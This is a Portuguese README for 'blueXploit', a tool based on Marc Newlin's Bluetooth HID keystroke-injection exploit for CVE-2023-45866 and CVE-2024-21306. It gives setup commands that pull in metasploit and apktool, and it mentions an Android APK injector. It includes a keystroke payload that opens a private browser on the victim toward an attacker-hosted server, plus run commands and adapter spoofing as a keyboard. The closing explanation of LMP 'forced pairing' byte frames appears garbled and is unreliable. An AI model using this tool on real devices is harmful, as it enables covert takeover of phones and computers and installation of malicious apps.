
Exploit baseado em vulnerabilidades críticas Bluetooth (CVE-2023-45866, CVE-2024-21306)

Atribuição. A vulnerabilidade e o exploit original são trabalho de Marc Newlin (hi_my_name_is_keyboard) — eu não reivindico a descoberta. Este repositório é uma reprodução criada para compreender e documentar o bug; sobre ela, o blueXploit acrescenta um executor de payloads ao estilo DuckyScript, um mecanismo de reconexão/retry e um auxiliar opcional de injeção de APK em Android. Tudo aqui é apenas para educação e investigação.
Estas vulnerabilidades críticas (CVE-2023-45866, CVE-2024-21306) permitem que um atacante injete teclas e aceite pedidos de emparelhamento sem confirmação do utilizador. Isto afeta criticamente a segurança de vários sistemas operativos.
Baseado no exploit original de Marc Newlin.
Instalar as dependências
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus apktool metasploit-framework \
keytool openjdk-23-jdk
sudo apt autoremove && sudo apt autoclean
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
blueXploit inclui ferramentas para explorar vulnerabilidades em dispositivos Android, oferecendo dois componentes principais e um programa adicional chamado apkpwn_injector, localizado na pasta injector.
.apk existentes na pasta apk_clean.Esses recursos permitem um fluxo de ataque eficiente e simplificado em ambientes controlados ou para testes de penetração.

cd injector
python3 apkpwn_injector.py
Os comandos de tecla executados pelo blueXploit são carregados a partir da pasta /injector/payloads/ em formato .txt, com uma sintaxe simples e fácil de entender.
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
Altere o endereço IP para o endereço onde o servidor está hospedado.
Detecção e enumeração de dispositivos
bluetoothctl
Procurar dispositivos Bluetooth
scan on
Executar
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF
Em seguida, selecione o payload necessário, previamente configurado.
A demonstração completa está neste vídeo
Esta vulnerabilidade é explorada num nível baixo do protocolo Bluetooth, manipulando principalmente o perfil HID e o protocolo L2CAP para injetar sequências de teclas num dispositivo vítima.
A pilha Bluetooth inclui várias camadas, como o Link Manager Protocol (LMP), o Host Controller Interface (HCI) e o L2CAP. Este ataque utiliza principalmente as duas últimas:
HCI: a configuração do adaptador é manipulada para que este se apresente como um dispositivo HID legítimo.
L2CAP: responsável pela multiplexagem de dados entre dispositivos, o L2CAP utiliza o canal 17 (HID Control) e o canal 19 (HID Interrupt) para a comunicação HID, o que pode ser explorado para enviar sequências de teclas.
A CVE-2023-45866 é uma vulnerabilidade no Link Manager Protocol (LMP), explorada através de um ataque de "emparelhamento forçado". Eis como é realizado tecnicamente:
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
Neste data frame:
0x01: solicitação de emparelhamento LMP0x01: solicitação de autenticação LMP (PIN)0x00 0x00 0x00 0x00: informação de PIN fraca, geralmente 0000Aqui o exploit aproveita a ausência de configuração e autenticação para este pacote, que acaba retornando:
LMP Accept: 0x02 0x00 0x00 0x00 0x00
Neste data frame:
0x02: solicitação de emparelhamento LMP ACEITA0x00 0x00 0x00 0x00: informação de PIN malformada retornadaSe a chave não for validada corretamente, a conexão é estabelecida, mas sem um emparelhamento real, de modo que um pacote LMP de emparelhamento forçado pode ser enviado assim:
LMP Forced Pairing: 0x03 0x01 0x0000
A autenticação pode então ser forçada usando chaves previamente vazadas (como "0000") e um canal de comunicação encriptado estabelecido, emparelhando os dispositivos sem passar por um processo de verificação adequado.
Isto cria um emparelhamento sem o utilizador saber, e mesmo sem qualquer janela de emparelhamento ou notificação.
A falha nesta CVE é que certos dispositivos não validam corretamente os pedidos de autenticação LMP, ou acabam por reutilizar chaves antigas.
Assim, uma vez emparelhado com o dispositivo — bang! — o resto é fácil: em blueXploit.py o adaptador e o dispositivo atuam como e falsificam dados de identificação. Neste caso, são executados comandos como estes:
hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540 # HID class (keyboard)
código blueXploit